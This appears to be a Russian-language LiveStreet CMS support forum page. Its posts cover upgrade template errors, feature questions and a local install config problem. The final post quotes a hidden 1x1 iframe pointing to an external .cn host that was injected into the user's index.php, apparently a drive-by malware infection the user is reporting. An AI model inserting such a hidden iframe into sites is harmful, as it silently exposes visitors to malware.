+83.57
1171 читатель, 3018 топиков

Обновление до 128 ревизии

Поставил по SVN до 128й ревизии движок на http://www.realabs.ru/.
Увы, пропала с новым скином и часть функциональности, а именно:
— профиль пользователя с панелью логина
— часть функционала (например, новые посты не написать)
— а также побились страницы:

например, http://realabs.ru/page/about/ выдаёт

Fatal error: Uncaught exception 'Exception' with message 'Не найден шаблон: actions/ActionPage/page.tpl' in /home/realabsr/public_html/classes/modules/sys_viewer/Viewer.class.php:161 Stack trace: #0 /home/realabsr/public_html/classes/engine/Engine.class.php(144): eval()'d code(1): Viewer->Display('actions/ActionP...') #1 /home/realabsr/public_html/classes/engine/Engine.class.php(144): eval() #2 /home/realabsr/public_html/classes/engine/Router.class.php(279): Engine->_CallModule('Viewer_Display', Array) #3 [internal function]: Router->__call('Viewer_Display', Array) #4 /home/realabsr/public_html/classes/engine/Router.class.php(103): Router->Viewer_Display('actions/ActionP...') #5 /home/realabsr/public_html/index.php(31): Router->Exec() #6 {main} thrown in /home/realabsr/public_html/classes/modules/sys_viewer/Viewer.class.php on line 161

Это какие-то недоработки в поддержке шаблона, или мог быть какой-то косяк при обновлении ревизий (со 102й на 128ю)?

UPD. А если я меняю в config.php скин на «habra», то на главной странице выходит ошибка

Fatal error: Uncaught exception 'Exception' with message 'Не найден шаблон подключаемого блока: stream' in /home/realabsr/public_html/classes/modules/sys_viewer/Viewer.class.php:271 Stack trace: #0 /home/realabsr/public_html/classes/modules/sys_viewer/Viewer.class.php(205): Viewer->DefineTypeBlock('stream') #1 /home/realabsr/public_html/classes/modules/sys_viewer/Viewer.class.php(228): Viewer->AddBlock('right', 'stream') #2 /home/realabsr/public_html/classes/engine/Engine.class.php(144): eval()'d code(1): Viewer->AddBlocks('right', Array) #3 /home/realabsr/public_html/classes/engine/Engine.class.php(144): eval() #4 /home/realabsr/public_html/classes/engine/Action.class.php(268): Engine->_CallModule('Viewer_AddBlock...', Array) #5 [internal function]: Action->__call('Viewer_AddBlock...', Array) #6 /home/realabsr/public_html/classes/actions/ActionIndex.class.php(59): ActionIndex->Viewer_AddBlocks('right', Array) #7 /home/realabsr/public_html/classes/engine/Router.class.php(137): ActionIndex- in /home/realabsr/public_html/classes/modules/sys_viewer/Viewer.class.php on line 271

Видеоплеер - как?

Доброго времени суток!

Хотелось бы узнать, каким способом можно прикрутить видеоплеер к сему замечательному движку.
Сразу говорю, в PHP не силен, подскажите, кто знает.

Заранее благодарен.

Сходить по ссылке, вернуться — и попасть на экран с ней. Как?

Пример (который тысячи, но livestreet почему-то мимо пролетел):

открываем Новости Яндекса
Спускаемся по странице вниз, подальше. Кликаем по любой новости. Возвращаемся обратно (кнопка «Назад» в браузере или backspace) — мы на том же экране (по высоте всей страницы) с которого кликали по ссылке!

Мне кажется без этого — очень неудобно:
Читаешь, например, обширные комментарии к какому-нибудь посту, решил сходить по ссылке в них — вернулся — и возвращаемся к самому посту и начинается глупое скролирование страницы вниз в поисках последнего прочитанного комментария.

Очень надеюсь, что меня поймут, оценят важность этой проблемки и придумают трик, который станет фиксом :)

Поиск и фильтрация пользователей

У меня на сайте у пользователей будет достаточно много данных, которые одновременно являются критериеми поиска. Например: местоположение — Украина, где «Украина» явл. ссылкой, ведущей к списку пользователей, которые у себя в настройках указали эту страну.

Проблема в том, что я в движке не обнаружил никакого инструмента для поиска и фильтрации пользователей, т.е. мне придется дописывать этот момент, что бы реализовать вышеописанное?

Просто пишу ТЗ по регистрации и профилю, и тут вот подумал, как же будем фильтровать пользователей, придется еще и поиск придумывать.

Народ, умоляю помочь с установкой

Вообщем пытаюсь установить движок у себя на компе с помощью денвера. Все делаю по инструкции. Создал базу данных, сделал дамп, отредактировал конфиг. Вот он
<?
/*-------------------------------------------------------
*
* LiveStreet Engine Social Networking
* Copyright © 2008 Mzhelskiy Maxim
*
*--------------------------------------------------------
*
* Official site: www.livestreet.ru
* Contact e-mail: rus.engine@gmail.com
*
* GNU General Public License, version 2:
* www.gnu.org/licenses/old-licenses/gpl-2.0.html
*
— */

/**
* Настройки коннекта к БД
*/
return array(
'host' => 'localhost',
'port' => '3306',
'user' => 'social',
'pass' => 'zzzzzzz',
'type' => 'mysql',
'dbname' => 'social',
);
?>
И при загрузке выдает ошибку
Warning: Cannot modify header information — headers already sent by (output started at J:\home\localhost\www\blogi\config\config.php:1) in J:\home\localhost\www\blogi\classes\actions\ActionError.class.php on line 47
Подскажите пожалуйста в чем дело?

Безопасность или глюк хостера

Сегодня открываю сайт — получаю следующее: Parse error: syntax error, unexpected '?' in /....../public_html/index.php on line 78 Скачал index.php, открыл, в самом конце после
</table>
</fieldset>
наблюдаю
<? } ?<html><body><iframe src="http://diettopseek.cn/in.cgi?cocacola" width=1 height=1 style="visibility: hidden"></iframe></body></html>>


Во всем остальном index.php не изменился. Что это было? Может глюк на хостинге? Очень хочется верить именно в это. На всякий случай пишу, пусть Макс в курсе будет, мало ли что может быть.